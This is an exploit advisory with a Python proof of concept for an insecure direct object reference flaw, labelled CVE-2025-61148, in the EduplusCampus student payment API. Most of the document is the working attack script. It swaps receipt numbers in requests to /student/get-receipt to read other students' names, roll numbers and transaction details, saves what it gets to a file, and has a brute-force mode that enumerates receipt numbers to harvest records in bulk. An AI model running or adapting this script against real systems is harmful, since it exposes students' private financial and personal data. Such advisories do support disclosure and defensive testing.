============================================================================================================================================= | # Title : EduplusCampus student portal v 3.0.1 Broken Access Control | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://www.edupluscampus.com | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/211727/ [+] Summary : Insecure Direct Object Reference (IDOR) vulnerability in EduplusCampus Student Payment API (version 3.0.1) that allows authenticated users to access other students' sensitive financial and personal information without proper authorization. [+] POC : #!/usr/bin/env python3 """ Proof of Concept: CVE-2025-61148 IDOR Vulnerability in EduplusCampus Student Payment API Author: indoushka """ import requests import json import sys import argparse from colorama import Fore, Style, init # Initialize colorama for colored output init(autoreset=True) class CVE202561148_POC: def __init__(self, base_url, auth_token): self.base_url = base_url.rstrip('/') self.headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Security-Test)' } def print_banner(self): """Display vulnerability banner""" banner = f""" {Fore.RED}╔══════════════════════════════════════════════════════════════╗ ║ CVE-2025-61148: IDOR Vulnerability POC ║ ║ EduplusCampus Student Payment API ║ ╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL} """ print(banner) def test_idor(self, original_rec_no, target_rec_no): """Test IDOR vulnerability by modifying rec_no parameter""" endpoint = f"{self.base_url}/student/get-receipt" # Original request (authorized) original_data = { "rec_no": original_rec_no } # Malicious request (unauthorized access attempt) malicious_data = { "rec_no": target_rec_no } print(f"{Fore.CYAN}[*] Testing IDOR vulnerability...{Style.RESET_ALL}") print(f"{Fore.YELLOW}[+] Original receipt number: {original_rec_no}{Style.RESET_ALL}") print(f"{Fore.YELLOW}[+] Target receipt number: {target_rec_no}{Style.RESET_ALL}") try: # Test with original receipt number print(f"\n{Fore.WHITE}[1] Sending request for authorized receipt...{Style.RESET_ALL}") resp_original = requests.post( endpoint, headers=self.headers, json=original_data, timeout=30 ) # Test with target receipt number print(f"{Fore.WHITE}[2] Sending request for target receipt (IDOR test)...{Style.RESET_ALL}") resp_target = requests.post( endpoint, headers=self.headers, json=malicious_data, timeout=30 ) # Analyze responses self.analyze_responses(resp_original, resp_target) except requests.exceptions.RequestException as e: print(f"{Fore.RED}[-] Request failed: {str(e)}{Style.RESET_ALL}") return False def analyze_responses(self, resp_original, resp_target): """Analyze and compare the responses""" print(f"\n{Fore.CYAN}[*] Response Analysis:{Style.RESET_ALL}") print(f"{'='*60}") # Original response print(f"{Fore.GREEN}[+] Original Request (Authorized):{Style.RESET_ALL}") print(f" Status Code: {resp_original.status_code}") if resp_original.status_code == 200: try: data = resp_original.json() print(f" Response Length: {len(resp_original.text)} characters") if 'fullname' in data: print(f" Contains PII: {Fore.RED}YES{Style.RESET_ALL}") except: print(f" Response: {resp_original.text[:100]}...") # Target response print(f"\n{Fore.RED}[+] Target Request (Unauthorized):{Style.RESET_ALL}") print(f" Status Code: {resp_target.status_code}") if resp_target.status_code == 200: try: data = resp_target.json() print(f" Response Length: {len(resp_target.text)} characters") # Check if vulnerable if 'fullname' in data or 'rollno' in data: print(f"{Fore.RED}[!] VULNERABLE - Successfully accessed other user's data!{Style.RESET_ALL}") print(f"\n{Fore.YELLOW}[*] Exposed Information:{Style.RESET_ALL}") # Display sensitive data (redacted for safety) sensitive_keys = ['fullname', 'rollno', 'component_total_amount', 'trans_list', 'tid', 'date', 'amount'] for key in sensitive_keys: if key in str(data): if key == 'fullname': print(f" • Full Name: {Fore.RED}[REDACTED]{Style.RESET_ALL}") elif key == 'rollno': print(f" • Roll Number: {data.get('rollno', 'N/A')}") elif key == 'component_total_amount': print(f" • Payment Amount: {data.get('component_total_amount', 'N/A')}") elif key == 'trans_list': transactions = data.get('trans_list', []) if transactions: print(f" • Transaction Details:") for trans in transactions: print(f" - Date: {trans.get('date', 'N/A')}") print(f" - Amount: {trans.get('amount', 'N/A')}") print(f" - TID: {trans.get('tid', 'N/A')}") # Save proof self.save_proof(data) except json.JSONDecodeError: print(f" Response: {resp_target.text[:200]}...") if len(resp_target.text) > 100: print(f"{Fore.RED}[!] Potential vulnerability detected!{Style.RESET_ALL}") else: print(f" Response: {resp_target.text[:100]}...") def save_proof(self, data): """Save proof of concept results""" filename = f"idor_proof_cve_2025_61148.json" with open(filename, 'w') as f: json.dump(data, f, indent=2) print(f"\n{Fore.GREEN}[+] Proof saved to: {filename}{Style.RESET_ALL}") def brute_force_receipts(self, prefix="PCUF-", start=231800, end=232100): """Attempt to discover valid receipt numbers""" print(f"\n{Fore.CYAN}[*] Brute-forcing receipt numbers...{Style.RESET_ALL}") print(f" Range: {prefix}{start} to {prefix}{end}") found_receipts = [] endpoint = f"{self.base_url}/student/get-receipt" for i in range(start, end + 1): rec_no = f"{prefix}{i}" data = {"rec_no": rec_no} try: resp = requests.post( endpoint, headers=self.headers, json=data, timeout=10 ) if resp.status_code == 200: print(f"{Fore.GREEN}[+] Found valid receipt: {rec_no}{Style.RESET_ALL}") found_receipts.append(rec_no) # Quick analysis try: resp_data = resp.json() if 'fullname' in resp_data: print(f" Contains PII: YES") except: pass except requests.exceptions.RequestException: continue return found_receipts def main(): parser = argparse.ArgumentParser( description="CVE-2025-61148: IDOR Vulnerability POC for EduplusCampus", formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument("-u", "--url", required=True, help="Base URL (e.g., https://student.edupluscampus.com)") parser.add_argument("-t", "--token", required=True, help="Bearer token for authentication") parser.add_argument("-o", "--original", help="Original receipt number (authorized)") parser.add_argument("-T", "--target", help="Target receipt number to test") parser.add_argument("-b", "--bruteforce", action="store_true", help="Enable brute-force mode") parser.add_argument("-p", "--prefix", default="PCUF-", help="Receipt number prefix for brute-force") args = parser.parse_args() # Initialize POC poc = CVE202561148_POC(args.url, args.token) poc.print_banner() print(f"{Fore.CYAN}[*] Target: {args.url}{Style.RESET_ALL}") print(f"{Fore.CYAN}[*] Authentication token provided: {'*' * 20}{Style.RESET_ALL}") if args.bruteforce: # Brute-force mode print(f"\n{Fore.YELLOW}[!] Starting brute-force attack...{Style.RESET_ALL}") found = poc.brute_force_receipts(prefix=args.prefix) if found: print(f"\n{Fore.GREEN}[+] Found {len(found)} valid receipt numbers{Style.RESET_ALL}") for receipt in found: print(f" • {receipt}") else: print(f"{Fore.RED}[-] No valid receipt numbers found in the range{Style.RESET_ALL}") elif args.original and args.target: # Specific test mode poc.test_idor(args.original, args.target) else: print(f"{Fore.YELLOW}[!] Usage examples:{Style.RESET_ALL}") print(f" Specific test: python poc.py -u https://target.com -t YOUR_TOKEN -o PCUF-232025 -T PCUF-231824") print(f" Brute-force: python poc.py -u https://target.com -t YOUR_TOKEN -b") print(f"\n{Fore.RED}[!] WARNING: Use only on authorized systems!{Style.RESET_ALL}") if __name__ == "__main__": main() Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================